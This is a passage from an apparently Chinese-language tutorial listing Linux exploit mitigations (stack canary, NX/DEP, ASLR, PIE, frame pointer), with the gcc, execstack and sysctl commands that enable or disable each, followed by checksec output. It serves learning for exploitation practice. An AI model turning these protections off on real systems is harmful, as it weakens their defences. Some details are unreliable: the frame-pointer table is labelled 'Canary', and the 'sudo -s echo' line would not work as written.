Enable DEFAULT (when buffer large enough)
Disable gcc -fno-stack-protector code.c

NX (No-Execute) / DEP (Data Execution Prevention)

可以寫的地方不能執行

NX / DEP gcc 編譯參數 execstack
Enable DEFAULT execstack -s code
Disable gcc -z execstack code.c execstack -c code

ASLR (Address Space Layout Randomization)

Configuring ASLR with randomize_va_space

1
2
3
0 - 表示關閉進程地址空間隨機化。
1 - 表示 mmap, stack, vdso 隨機化。
2 - 表示比 1 多了 heap 隨機化。
1
2
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
sudo sysctl -w kernel.randomize_va_space=0

PIE (Position Independent Executables)

PIE gcc 編譯參數
Enable gcc -fpie -pie code.c
Disable DEFAULT

FRAME POINTER

有開的話是

1
2
leave
ret

沒開的話是

1
2
add rsp, 0x18
ret
Canary gcc 編譯參數
Enable DEFAULT
Disable gcc -fomit-frame-pointer code.c

checksec

checksec 是一個用來查看上述所說的保護機制的 bash script

1
2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 65 Symbols No 0 1 ./hello

pwntools 也有內建一個名字和功能都一樣的指令

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Read more